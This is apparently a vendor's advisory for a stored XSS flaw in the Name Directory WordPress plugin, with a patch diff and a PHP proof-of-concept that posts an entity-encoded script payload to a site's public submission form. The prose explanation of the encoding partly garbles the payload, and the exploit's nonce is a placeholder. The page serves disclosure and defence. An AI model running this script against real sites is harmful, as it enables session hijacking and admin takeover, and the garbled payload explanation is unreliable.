Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1866: Name Directory <= 1.32.0 – Unauthenticated Stored Cross-Site Scripting via Double HTML-Entity Encoding in Submission Form (name-directory)

CVE ID CVE-2026-1866
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 1.32.0
Patched Version 1.32.1
Disclosed February 8, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1866:
This vulnerability is an unauthenticated stored cross-site scripting (XSS) flaw in the Name Directory WordPress plugin up to version 1.32.0. The vulnerability exists in the public submission form and allows attackers to inject malicious scripts that execute when administrators or users view approved entries. The CVSS score of 7.2 reflects the potential impact on site integrity and user security.

Atomic Edge research identified the root cause in the flawed sanitization sequence within the `name_directory_deep_sanitize_public_user_input()` function in `/name-directory/helpers.php`. The vulnerable code called `html_entity_decode()` on line 604 before passing the decoded content to `wp_kses()` on line 608. This sequence created a sanitization bypass opportunity when combined with the output functions in `/name-directory/shortcode.php` that also apply `html_entity_decode()` on lines 42 and 46.

Exploitation occurs through the public submission form that processes the `name_directory_name` and `name_directory_description` parameters. Attackers craft payloads using double HTML-entity encoding, such as `<script>alert(document.domain)</script>`. The first `html_entity_decode()` in the sanitization function converts this to `<script>alert(document.domain)</script>`, which `wp_kses()` allows because it contains angle brackets. The second `html_entity_decode()` during output then converts the remaining entities to `alert(document.domain)`, executing the JavaScript.

The patch addresses the vulnerability by removing the premature `html_entity_decode()` call from the sanitization function. In `/name-directory/helpers.php`, the function now passes the raw input directly to `wp_kses()` without decoding. The output functions in `/name-directory/shortcode.php` were also modified: line 42 now uses `esc_html()` for the name field, and line 46 uses `wp_kses_post()` for the description field. These changes ensure proper contextual escaping during output rather than relying on flawed sanitization.

Successful exploitation allows attackers to inject arbitrary JavaScript that executes in the context of any user viewing the compromised directory entry. This can lead to session hijacking, administrative account takeover, content defacement, or malware distribution. The attack requires either tricking an administrator into approving a malicious submission or exploiting the plugin’s auto-publish feature if enabled.

Differential between vulnerable and patched code

Code Diff
--- a/name-directory/helpers.php
+++ b/name-directory/helpers.php
@@ -601,11 +601,11 @@
  */
 function name_directory_deep_sanitize_public_user_input($input, $allowed_tags = null) {
     $raw = trim( wp_unslash( (string)$input ) );
-    $decoded = html_entity_decode( $raw, ENT_QUOTES | ENT_HTML5, 'UTF-8' );
+
     if( ! is_array( $allowed_tags ) ) {
         $allowed_tags = array('p' => array(), 'br' => array(), 'strong'=>array(), 'em'=>array());
     }
-    return wp_kses( $decoded, $allowed_tags );
+    return wp_kses( $raw, $allowed_tags );
 }

 function name_directory_get_html_tag_options() {
--- a/name-directory/index.php
+++ b/name-directory/index.php
@@ -3,7 +3,7 @@
  * Plugin Name: Name Directory
  * Plugin URI: https://jeroenpeters.dev/wordpress-plugin-name-directory/
  * Description: A Name Directory, i.e. for animal names or to create a glossary. Visitors can add, search or just browse all names.
- * Version: 1.32.0
+ * Version: 1.32.1
  * Author: Jeroen Peters
  * Author URI: https://jeroenpeters.dev
  * Text Domain: name-directory
--- a/name-directory/shortcode.php
+++ b/name-directory/shortcode.php
@@ -39,10 +39,10 @@
 {
     echo '<div class="name_directory_name_box">';
     echo '<a name="namedirectory_' . sanitize_html_class($entry['name']) . '"></a>';
-    echo '<' . $tag . ' role="term">' . html_entity_decode(stripslashes($entry['name'])) . '</' . $tag . '><br>';
+    echo '<' . $tag . ' role="term">' . esc_html(stripslashes($entry['name'])) . '</' . $tag . '><br>';
     if(! empty($directory['show_description']) && ! empty($entry['description']))
     {
-        $print_description = html_entity_decode(stripslashes($entry['description']));
+        $print_description = wp_kses_post(stripslashes($entry['description']));

         /* This toggles the read more/less indicators, these need extra html */
         if(! empty($directory['nr_words_description']))

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1866 - Name Directory <= 1.32.0 - Unauthenticated Stored Cross-Site Scripting via Double HTML-Entity Encoding in Submission Form

<?php

$target_url = 'http://vulnerable-wordpress-site.com/';

// Payload using double HTML-entity encoding
// First layer: <script> becomes &lt;script&gt;
// Second layer: &lt; becomes < after first decode, then becomes < after second decode
$payload = '&lt;script&gt;alert(document.domain)&lt;/script&gt;';

// Find the submission endpoint - typically a page with the [name-directory-submit] shortcode
// We need to discover the form action URL and any required fields
$discovery_url = $target_url . '?s=name-directory-submit';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $discovery_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Extract form action and nonce from the response
// This is a simplified example - real implementation would parse HTML
preg_match('/<form[^>]*action="([^"]*)"[^>]*>/', $response, $form_action);

if (empty($form_action[1])) {
    echo "Could not find submission form. The site may not have the shortcode installed.n";
    exit;
}

$submit_url = $form_action[1];

// Prepare the malicious submission
$post_data = [
    'name_directory_name' => 'Malicious Entry',
    'name_directory_description' => $payload,
    'submit_name' => 'Submit',
    // Additional required fields would be extracted from the form
    'name_directory_id' => '1', // Directory ID - would need to be discovered
    'name_directory_nonce' => 'extracted_nonce' // Would need to be extracted from form
];

curl_setopt($ch, CURLOPT_URL, $submit_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

$submit_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

curl_close($ch);

if ($http_code == 200) {
    echo "Payload submitted successfully.n";
    echo "When an administrator approves this entry and views the directory, the JavaScript will execute.n";
    echo "Payload: " . htmlspecialchars($payload) . "n";
} else {
    echo "Submission failed with HTTP code: $http_coden";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School